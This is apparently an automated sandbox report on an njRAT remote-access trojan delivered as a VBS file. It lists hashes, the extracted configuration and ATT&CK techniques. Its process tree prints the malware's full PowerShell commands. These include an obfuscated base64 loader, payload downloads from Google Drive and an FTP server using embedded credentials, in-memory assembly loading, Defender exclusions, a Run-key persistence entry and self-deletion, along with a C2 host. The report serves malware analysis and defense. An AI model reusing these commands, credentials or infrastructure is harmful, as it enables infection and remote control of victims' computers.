njrat | 838e276f65a1dcdf9fd0292c3c7cd8b6c3f6c2ed940adcc663d68dd84a40e2c4

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
25-09-2024 02:04

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General

Target

838e276f65a1dcdf9fd0292c3c7cd8b6c3f6c2ed940adcc663d68dd84a40e2c4.vbs
Size

562KB
MD5

5d0e059a9d852fbaa853170862b948f7
SHA1

89c0faf4ba6531b3e9c5550f53280e02492c770d
SHA256

838e276f65a1dcdf9fd0292c3c7cd8b6c3f6c2ed940adcc663d68dd84a40e2c4
SHA512

9ed84239c4277d19e8ea127282cd06d941293278f90bc25a98ddda2281dce8ce17295617e55216af925db77c78457c4ea10a8f9d24e9ecdfc94aa710f40df7a4
SSDEEP

1536:kmmmmmmmmmmmmmmmmmmyFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFB:4HY

Score

10^/10

njrat nyan cat defense_evasion discovery execution persistence trojan

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=

Extracted

Credentials

Protocol: ftp
Host:
ftp.desckvbrat.com.br
Port:
21
Username:
desckvbrat1
Password:
developerpro21578Jp@@

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

notificadoresrma.duckdns.org:2054

Mutex

a388ab2ca3be4

Attributes

reg_key
a388ab2ca3be4
splitter
@!#&^%$

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Blocklisted process makes network request 7 IoCs

flow	pid	Process
11	4448	powershell.exe
16	4448	powershell.exe
19	4448	powershell.exe
21	4448	powershell.exe
23	4448	powershell.exe
24	4448	powershell.exe
27	2904	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
396	powershell.exe
2112	powershell.exe
2736	powershell.exe
2904	powershell.exe
4612	powershell.exe
4448	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Update Drivers NVIDEO_fzm = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman \". 'C:\\Users\\Admin\\AppData\\Local\\Microsoft\\LocalLow\\System Update\\zvdob.ps1' \";exit"	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
26	pastebin.com
27	pastebin.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2904 set thread context of 3276	2904	powershell.exe	96

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
4612	powershell.exe
4612	powershell.exe
4448	powershell.exe
4448	powershell.exe
4448	powershell.exe
2112	powershell.exe
396	powershell.exe
396	powershell.exe
2112	powershell.exe
2736	powershell.exe
2736	powershell.exe
2904	powershell.exe
2904	powershell.exe
2904	powershell.exe

Suspicious use of AdjustPrivilegeToken 41 IoCs

description	pid	Process
Token: SeDebugPrivilege	4612	powershell.exe
Token: SeDebugPrivilege	4448	powershell.exe
Token: SeDebugPrivilege	396	powershell.exe
Token: SeDebugPrivilege	2112	powershell.exe
Token: SeDebugPrivilege	2736	powershell.exe
Token: SeDebugPrivilege	2904	powershell.exe
Token: SeDebugPrivilege	3276	RegAsm.exe
Token: 33	3276	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3276	RegAsm.exe
Token: 33	3276	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3276	RegAsm.exe
Token: 33	3276	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3276	RegAsm.exe
Token: 33	3276	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3276	RegAsm.exe
Token: 33	3276	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3276	RegAsm.exe
Token: 33	3276	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3276	RegAsm.exe
Token: 33	3276	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3276	RegAsm.exe
Token: 33	3276	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3276	RegAsm.exe
Token: 33	3276	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3276	RegAsm.exe
Token: 33	3276	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3276	RegAsm.exe
Token: 33	3276	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3276	RegAsm.exe
Token: 33	3276	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3276	RegAsm.exe
Token: 33	3276	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3276	RegAsm.exe
Token: 33	3276	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3276	RegAsm.exe
Token: 33	3276	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3276	RegAsm.exe
Token: 33	3276	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3276	RegAsm.exe
Token: 33	3276	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3276	RegAsm.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4468 wrote to memory of 4612	4468	WScript.exe	82
PID 4468 wrote to memory of 4612	4468	WScript.exe	82
PID 4612 wrote to memory of 4448	4612	powershell.exe	84
PID 4612 wrote to memory of 4448	4612	powershell.exe	84
PID 4448 wrote to memory of 396	4448	powershell.exe	88
PID 4448 wrote to memory of 396	4448	powershell.exe	88
PID 4448 wrote to memory of 2112	4448	powershell.exe	89
PID 4448 wrote to memory of 2112	4448	powershell.exe	89
PID 4448 wrote to memory of 2508	4448	powershell.exe	90
PID 4448 wrote to memory of 2508	4448	powershell.exe	90
PID 4448 wrote to memory of 2736	4448	powershell.exe	92
PID 4448 wrote to memory of 2736	4448	powershell.exe	92
PID 4448 wrote to memory of 2904	4448	powershell.exe	94
PID 4448 wrote to memory of 2904	4448	powershell.exe	94
PID 4448 wrote to memory of 2728	4448	powershell.exe	95
PID 4448 wrote to memory of 2728	4448	powershell.exe	95
PID 2904 wrote to memory of 3276	2904	powershell.exe	96
PID 2904 wrote to memory of 3276	2904	powershell.exe	96
PID 2904 wrote to memory of 3276	2904	powershell.exe	96
PID 2904 wrote to memory of 3276	2904	powershell.exe	96
PID 2904 wrote to memory of 3276	2904	powershell.exe	96
PID 2904 wrote to memory of 3276	2904	powershell.exe	96
PID 2904 wrote to memory of 3276	2904	powershell.exe	96
PID 2904 wrote to memory of 3276	2904	powershell.exe	96

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\838e276f65a1dcdf9fd0292c3c7cd8b6c3f6c2ed940adcc663d68dd84a40e2c4.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 'OwB9уかбDsуかбKQуかбgуかбCkуかбIуかбуかбnуかбGUуかбdQByуかбHQуかбJwуかбgуかбCwуかбIуかбBYуかбFуかбуかбVQB1уかбGgуかбJуかбуかбgуかбCwуかбIуかбуかбnуかбGgуかбdуかбB0уかбHуかбуかбcwуかб6уかбC8уかбLwBmуかбGkуかбcgBlуかбGIуかбYQBzуかбGUуかбcwB0уかбG8уかбcgBhуかбGcуかбZQуかбuуかбGcуかбbwBvуかбGcуかбbуかбBlуかбGEуかбcуかбBpуかбHMуかбLgBjуかбG8уかбbQуかбvуかбHYуかбMуかбуかбvуかбGIуかбLwBkуかбGUуかбcwBjуかбGEуかбcgBnуかбGEуかбcwуかбtуかбGQуかбYwуかб0уかбGQуかбNgуかбuуかбGEуかбcуかбBwуかбHMуかбcуかбBvуかбHQуかбLgBjуかбG8уかбbQуかбvуかбG8уかбLwBlуかбG4уかбdgBpуかбG8уかбcwуかбtуかбG4уかбdQBlуかбHYуかбbwBzуかбC4уかбdуかбB4уかбHQуかбPwBhуかбGwуかбdуかбуかб9уかбG0уかбZQBkуかбGkуかбYQуかбmуかбHQуかбbwBrуかбGUуかбbgуかб9уかбGMуかбZQуかб2уかбDkуかбMуかбBhуかбDYуかбMуかбуかбtуかбDcуかбOуかбBlуかбGIуかбLQуかб0уかбDуかбуかбMQBiуかбC0уかбYgBmуかбGMуかбNgуかбtуかбDEуかбZуかбBjуかбDgуかбMgуかб1уかбGUуかбMQуかб5уかбDQуかбYgуかбyуかбCcуかбIуかбуかбoуかбCуかбуかбXQBdуかбFsуかбdуかбBjуかбGUуかбagBiуかбG8уかбWwуかбgуかбCwуかбIуかбBsуかбGwуかбdQBuуかбCQуかбIуかбуかбoуかбGUуかбawBvуかбHYуかбbgBJуかбC4уかбKQуかбgуかбCcуかбSQBWуかбEYуかбcgBwуかбCcуかбIуかбуかбoуかбGQуかбbwBoуかбHQуかбZQBNуかбHQуかбZQBHуかбC4уかбKQуかбnуかбDEуかбcwBzуかбGEуかбbуかбBDуかбC4уかбMwB5уかбHIуかбYQByуかбGIуかбaQBMуかбHMуかбcwBhуかбGwуかбQwуかбnуかбCgуかбZQBwуかбHkуかбVуかбB0уかбGUуかбRwуかбuуかбCkуかбIуかбBaуかбGMуかбQgBjуかбGEуかбJуかбуかбgуかбCgуかбZуかбBhуかбG8уかбTуかбуかбuуかбG4уかбaQBhуかбG0уかбbwBEуかбHQуかбbgBlуかбHIуかбcgB1уかбEMуかбOgуかб6уかбF0уかбbgBpуかбGEуかбbQBvуかбEQуかбcуかбBwуかбEEуかбLgBtуかбGUуかбdуかбBzуかбHkуかбUwBbуかбDsуかбKQуかбgуかбCkуかбIуかбуかбnуかбEEуかбJwуかбgуかбCwуかбIуかбуかбnуかбJMhOgCTIScуかбIуかбуかбoуかбGUуかбYwBhуかбGwуかбcуかбBlуかбFIуかбLgBnуかбFMуかбegBDуかбEIуかбbуかбуかбkуかбCуかбуかбKуかбBnуかбG4уかбaQByуかбHQуかбUwуかб0уかбDYуかбZQBzуかбGEуかбQgBtуかбG8уかбcgBGуかбDoуかбOgBdуかбHQуかбcgBlуかбHYуかбbgBvуかбEMуかбLgBtуかбGUуかбdуかбBzуかбHkуかбUwBbуかбCуかбуかбPQуかбgуかбFoуかбYwBCуかбGMуかбYQуかбkуかбCуかбуかбXQBdуかбFsуかбZQB0уかбHkуかбQgBbуかбDsуかбJwуかбlуかбEkуかбaуかбBxуかбFIуかбWуかбуかбlуかбCcуかбIуかбуかб9уかбCуかбуかбWуかбBQуかбFUуかбdQBoуかбCQуかбOwуかбpуかбCуかбуかбZwBTуかбHoуかбQwBCуかбGwуかбJуかбуかбgуかбCgуかбZwBuуかбGkуかбcgB0уかбFMуかбZуかбBhуかбG8уかбbуかбBuуかбHcуかбbwBEуかбC4уかбegB0уかбHgуかбaуかбуかбkуかбCуかбуかбPQуかбgуかбGcуかбUwB6уかбEMуかбQgBsуかбCQуかбOwуかб4уかбEYуかбVуかбBVуかбDoуかбOgBdуかбGcуかбbgBpуかбGQуかбbwBjуかбG4уかбRQуかбuуかбHQуかбeуかбBlуかбFQуかбLgBtуかбGUуかбdуかбBzуかбHkуかбUwBbуかбCуかбуかбPQуかбgуかбGcуかбbgBpуかбGQуかбbwBjуかбG4уかбRQуかбuуかбHoуかбdуかбB4уかбGgуかбJуかбуかб7уかбCkуかбdуかбBuуかбGUуかбaQBsуかбEMуかбYgBlуかбFcуかбLgB0уかбGUуかбTgуかбgуかбHQуかбYwBlуかбGoуかбYgBPуかбC0уかбdwBlуかбE4уかбKуかбуかбgуかбD0уかбIуかбB6уかбHQуかбeуかбBoуかбCQуかбOwуかбpуかбCgуかбZQBzуかбG8уかбcуかбBzуかбGkуかбZуかбуかбuуかбHoуかбdуかбB4уかбGgуかбJуかбуかб7уかбCkуかбIуかбуかбnуかбHQуかбeуかбB0уかбC4уかбMQуかбwуかбEwуかбTуかбBEуかбC8уかбMQуかбwуかбC8уかбcgBlуかбHQуかбcуかбB5уかбHIуかбYwBwуかбFUуかбLwByуかбGIуかбLgBtуかбG8уかбYwуかбuуかбHQуかбYQByуかбGIуかбdgBrуかбGMуかбcwBlуかбGQуかбLgBwуかбHQуかбZgBуかбуかбDEуかбdуかбBhуかбHIуかбYgB2уかбGsуかбYwBzуかбGUуかбZуかбуかбvуかбC8уかбOgBwуかбHQуかбZgуかбnуかбCуかбуかбKуかбBnуかбG4уかбaQByуかбHQуかбUwBkуかбGEуかбbwBsуかбG4уかбdwBvуかбEQуかбLgB6уかбHQуかбeуかбBoуかбCQуかбIуかбуかб9уかбCуかбуかбZwBTуかбHoуかбQwBCуかбGwуかбJуかбуかб7уかбCkуかбJwBуかбуかбEуかбуかбcуかбBKуかбDgуかбNwуかб1уかбDEуかбMgBvуかбHIуかбcуかбByуかбGUуかбcуかбBvуかбGwуかбZQB2уかбGUуかбZуかбуかбnуかбCwуかбKQуかбpуかбDkуかбNуかбуかбsуかбDYуかбMQуかбxуかбCwуかбNwуかб5уかбCwуかбNуかбуかбxуかбDEуかбLуかбуかб4уかбDkуかбLуかбуかб4уかбDEуかбMQуかбsуかбDcуかбMуかбуかбxуかбCwуかбOQуかб5уかбCwуかбNQуかбxуかбDEуかбLуかбуかбxуかбDуかбуかбMQуかбsуかбDуかбуかбMуかбуかбxуかбCgуかбXQBdуかбFsуかбcgBhуかбGgуかбYwBbуかбCуかбуかбbgBpуかбG8уかбagуかбtуかбCgуかбKуかбBsуかбGEуかбaQB0уかбG4уかбZQBkуかбGUуかбcgBDуかбGsуかбcgBvуかбHcуかбdуかбBlуかбE4уかбLgB0уかбGUуかбTgуかбuуかбG0уかбZQB0уかбHMуかбeQBTуかбCуかбуかбdуかбBjуかбGUуかбagBiуかбG8уかбLQB3уかбGUуかбbgуかбgуかбD0уかбIуかбBzуかбGwуかбYQBpуかбHQуかбbgBlуかбGQуかбZQByуかбEMуかбLgB6уかбHQуかбeуかбBoуかбCQуかбOwуかб4уかбEYуかбVуかбBVуかбDoуかбOgBdуかбGcуかбbgBpуかбGQуかбbwBjуかбG4уかбRQуかбuуかбHQуかбeуかбBlуかбFQуかбLgBtуかбGUуかбdуかбBzуかбHkуかбUwBbуかбCуかбуかбPQуかбgуかбGcуかбbgBpуかбGQуかбbwBjуかбG4уかбRQуかбuуかбHoуかбdуかбB4уかбGgуかбJуかбуかб7уかбCkуかбdуかбBuуかбGUуかбaQBsуかбEMуかбYgBlуかбFcуかбLgB0уかбGUуかбTgуかбgуかбHQуかбYwBlуかбGoуかбYgBPуかбC0уかбdwBlуかбE4уかбKуかбуかбgуかбD0уかбIуかбB6уかбHQуかбeуかбBoуかбCQуかбOwBnуかбFMуかбegBDуかбEIуかбbуかбуかбkуかбDsуかбMgуかбxуかбHMуかбbуかбBUуかбDoуかбOgBdуかбGUуかбcуかбB5уかбFQуかбbуかбBvуかбGMуかбbwB0уかбG8уかбcgBQуかбHkуかбdуかбBpуかбHIуかбdQBjуかбGUуかбUwуかбuуかбHQуかбZQBOуかбC4уかбbQBlуかбHQуかбcwB5уかбFMуかбWwуかбgуかбD0уかбIуかбBsуかбG8уかбYwBvуかбHQуかбbwByуかбFуかбуかбeQB0уかбGkуかбcgB1уかбGMуかбZQBTуかбDoуかбOgBdуかбHIуかбZQBnуかбGEуかбbgBhуかбE0уかбdуかбBuуかбGkуかбbwBQуかбGUуかбYwBpуかбHYуかбcgBlуかбFMуかбLgB0уかбGUуかбTgуかбuуかбG0уかбZQB0уかбHMуかбeQBTуかбFsуかбOwB9уかбGUуかбdQByуかбHQуかбJуかбB7уかбCуかбуかбPQуかбgуかбGsуかбYwBhуかбGIуかбbуかбBsуかбGEуかбQwBuуかбG8уかбaQB0уかбGEуかбZуかбBpуかбGwуかбYQBWуかбGUуかбdуかбBhуかбGMуかбaQBmуかбGkуかбdуかбByуかбGUуかбQwByуかбGUуかбdgByуかбGUуかбUwуかб6уかбDoуかбXQByуかбGUуかбZwBhуかбG4уかбYQBNуかбHQуかбbgBpуかбG8уかбUуかбBlуかбGMуかбaQB2уかбHIуかбZQBTуかбC4уかбdуかбBlуかбE4уかбLgBtуかбGUуかбdуかбBzуかбHkуかбUwBbуかбHsуかбIуかбBlуかбHMуかбbуかбBlуかбH0уかбIуかбBmуかбC8уかбIуかбуかбwуかбCуかбуかбdуかбуかбvуかбCуかбуかбcgуかбvуかбCуかбуかбZQB4уかбGUуかбLgBuуかбHcуかбbwBkуかбHQуかбdQBoуかбHMуかбIуかбуかб7уかбCcуかбMуかбуかб4уかбDEуかбIуかбBwуかбGUуかбZQBsуかбHMуかбJwуかбgуかбGQуかбbgBhуかбG0уかбbQBvуかбGMуかбLQуかбgуかбGUуかбeуかбBlуかбC4уかбbуかбBsуかбGUуかбaуかбBzуかбHIуかбZQB3уかбG8уかбcуかбуかб7уかбCуかбуかбZQBjуかбHIуかбbwBmуかбC0уかбIуかбуかбpуかбCуかбуかбJwBwуかбHUуかбdуかбByуかбGEуかбdуかбBTуかбFwуかбcwBtуかбGEуかбcgBnуかбG8уかбcgBQуかбFwуかбdQBuуかбGUуかбTQуかбgуかбHQуかбcgBhуかбHQуかбUwBcуかбHMуかбdwBvуかбGQуかбbgBpуかбFcуかбXуかбB0уかбGYуかбbwBzуかбG8уかбcgBjуかбGkуかбTQBcуかбGcуかбbgBpуかбG0уかбYQBvуかбFIуかбXуかбBhуかбHQуかбYQBEуかбHуかбуかбcуかбBBуかбFwуかбJwуかбgуかбCsуかбIуかбBaуかбEsуかбbgBZуかбE0уかбJуかбуかбgуかбCgуかбIуかбBuуかбG8уかбaQB0уかбGEуかбbgBpуかбHQуかбcwBlуかбEQуかбLQуかбgуかбCcуかбJQBJуかбGgуかбcQBSуかбFgуかбJQуかбnуかбCуかбуかбbQBlуかбHQуかбSQуかбtуかбHkуかбcуかбBvуかбEMуかбIуかбуかб7уかбCуかбуかбdуかбByуかбGEуかбdуかбBzуかбGUуかбcgBvуかбG4уかбLwуかбgуかбHQуかбZQBpуかбHUуかбcQуかбvуかбCуかбуかбRwBjуかбFcуかбaQBSуかбCуかбуかбZQB4уかбGUуかбLgBhуかбHMуかбdQB3уかбCуかбуかбZQB4уかбGUуかбLgBsуかбGwуかбZQBoуかбHMуかбcgBlуかбHcуかбbwBwуかбCуかбуかбOwуかбpуかбCcуかбdQBzуかбG0уかбLgBuуかбGkуかбdwBwуかбFUуかбXуかбуかбnуかбCуかбуかбKwуかбgуかбE4уかбSgBUуかбHgуかбRуかбуかбkуかбCgуかбIуかбуかб9уかбCуかбуかбRwBjуかбFcуかбaQBSуかбDsуかбKQуかбgуかбGUуかбbQBhуかбE4уかбcgBlуかбHMуかбVQуかб6уかбDoуかбXQB0уかбG4уかбZQBtуかбG4уかбbwByуかбGkуかбdgBuуかбEUуかбWwуかбgуかбCsуかбIуかбуかбnуかбFwуかбcwByуかбGUуかбcwBVуかбFwуかбOgBDуかбCcуかбKуかбуかбgуかбD0уかбIуかбBaуかбEsуかбbgBZуかбE0уかбJуかбуかб7уかбCkуかбJwB1уかбHMуかбbQуかбuуかбG4уかбaQB3уかбHуかбуかбVQBcуかбCcуかбIуかбуかбrуかбCуかбуかбTgBKуかбFQуかбeуかбBEуかбCQуかбIуかбуかбsуかбEIуかбSwBMуかбFIуかбVQуかбkуかбCgуかбZQBsуかбGkуかбRgBkуかбGEуかбbwBsуかбG4уかбdwBvуかбEQуかбLgBuуかбEoуかбeQBWуかбGoуかбJуかбуかб7уかбDgуかбRgBUуかбFUуかбOgуかб6уかбF0уかбZwBuуかбGkуかбZуかбBvуかбGMуかбbgBFуかбC4уかбdуかбB4уかбGUуかбVуかбуかбuуかбG0уかбZQB0уかбHMуかбeQBTуかбFsуかбIуかбуかб9уかбCуかбуかбZwBuуかбGkуかбZуかбBvуかбGMуかбbgBFуかбC4уかбbgBKуかбHkуかбVgBqуかбCQуかбOwуかбpуかбHQуかбbgBlуかбGkуかбbуかбBDуかбGIуかбZQBXуかбC4уかбdуかбBlуかбE4уかбIуかбB0уかбGMуかбZQBqуかбGIуかбTwуかбtуかбHcуかбZQBOуかбCgуかбIуかбуかб9уかбCуかбуかбbgBKуかбHkуかбVgBqуかбCQуかбOwB9уかбDsуかбIуかбуかбpуかбCcуかбdуかбBPуかбEwуかбYwBfуかбEsуかбYQуかбzуかбFoуかбZgBvуかбFgуかбMgBKуかбEoуかбcgBWуかбGgуかбbQBWуかбDkуかбYwBtуかбDkуかбWуかбBzуかбHUуかбWуかбBtуかбGoуかбMQBnуかбDEуかбJwуかбgуかбCsуかбIуかбBvуかбHgуかбSwBVуかбGcуかбJуかбуかбoуかбCуかбуかбPQуかбgуかбG8уかбeуかбBLуかбFUуかбZwуかбkуかбHsуかбIуかбBlуかбHMуかбbуかбBlуかбH0уかбOwуかбgуかбCkуかбJwуかбyуかбDQуかбdQBYуかбEoуかбVуかбBxуかбGEуかбbQBnуかбHkуかбTQB0уかбEYуかбegBhуかбGsуかбUуかбBSуかбDEуかбcQBfуかбEkуかбdgBHуかбGkуかбWуかбBOуかбGQуかбcQBhуかбE4уかбMQуかбnуかбCуかбуかбKwуかбgуかбG8уかбeуかбBLуかбFUуかбZwуかбkуかбCgAIAA9ACAAbwB4AEsAVQBnACQAewAgACkAIAB1AE4AQwBWAHEAJAAgACgAIABmAGkAOwAgACkAJwA0ADYAJwAoAHMAbgBpAGEAdABuAG8AQwAuAEUAUgBVAFQAQwBFAFQASQBIAEMAUgBBAF8AUgBPAFMAUwBFAEMATwBSAFAAOgB2AG4AZQAkACAAPQAgAHUATgBDAFYAcQAkADsAJwA9AGQAaQAmAGQAYQBvAGwAbgB3AG8AZAA9AHQAcgBvAHAAeABlAD8AYwB1AC8AbQBvAGMALgBlAGwAZwBvAG8AZwAuAGUAdgBpAHIAZAAvAC8AOgBzAHAAdAB0AGgAJwAgAD0AIABvAHgASwBVуかбGcAJAA7ACkAIAAnAHUAcwBtAC4AbgBpAHcAcABVAFwAJwAgACsAIABOAEoAVAB4AEQAJAAgACgAIABsAGUAZAA7ACkAKABoAHQAYQBQAHAAbQBlAFQAdABlAEcAOgA6AF0AaAB0AGEAUAAuAE8ASQAuAG0AZQB0AHMAeQBTAFsAIAA9ACAATgBKAFQAeABEACQAewAgACkAIABQAGIAbgBFAFoAJAAgACgAIABmAGkAOwAgACkAMgAoAHMAbABhAHUAcQBFAC4AcgBvAGoAYQBNAC4AbgBvAGkAcwByAGUAVgAuAHQAcwBvAGgAJAAgAD0AIABQAGIAbgBFAFoAJAAgADsA';$kahlN = $qKKzc.replace('уかб' , 'A') ;$vQpeD = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $kahlN ) ); $vQpeD = $vQpeD[-1..-$vQpeD.Length] -join '';$vQpeD = $vQpeD.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\838e276f65a1dcdf9fd0292c3c7cd8b6c3f6c2ed940adcc663d68dd84a40e2c4.vbs');powershell $vQpeD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4612
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $ZEnbP = $host.Version.Major.Equals(2) ;if ( $ZEnbP ) {$DxTJN = [System.IO.Path]::GetTempPath();del ( $DxTJN + '\Upwin.msu' );$gUKxo = 'https://drive.google.com/uc?export=download&id=';$qVCNu = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $qVCNu ) {$gUKxo = ($gUKxo + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$gUKxo = ($gUKxo + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$jVyJn = (New-Object Net.WebClient);$jVyJn.Encoding = [System.Text.Encoding]::UTF8;$jVyJn.DownloadFile($URLKB, $DxTJN + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($DxTJN + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\838e276f65a1dcdf9fd0292c3c7cd8b6c3f6c2ed940adcc663d68dd84a40e2c4.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$hxtz = (New-Object Net.WebClient);$hxtz.Encoding = [System.Text.Encoding]::UTF8;$hxtz.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $hxtz.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$hxtz.dispose();$hxtz = (New-Object Net.WebClient);$hxtz.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $hxtz.DownloadString( $lBCzSg );$huUPX = 'C:\Users\Admin\AppData\Local\Temp\838e276f65a1dcdf9fd0292c3c7cd8b6c3f6c2ed940adcc663d68dd84a40e2c4.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( '2b491e528cd1-6cfb-b104-be87-06a096ec=nekot&aidem=tla?txt.soveun-soivne/o/moc.topsppa.6d4cd-sagracsed/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth' , $huUPX , 'true' ) );};"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4448
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:396
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2112
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c mkdir "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\"
      4⤵
      PID:2508
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\\x2.ps1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2736
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\zvdob.ps1"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2904
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3276
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\838e276f65a1dcdf9fd0292c3c7cd8b6c3f6c2ed940adcc663d68dd84a40e2c4.vbs"
      4⤵
      PID:2728

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

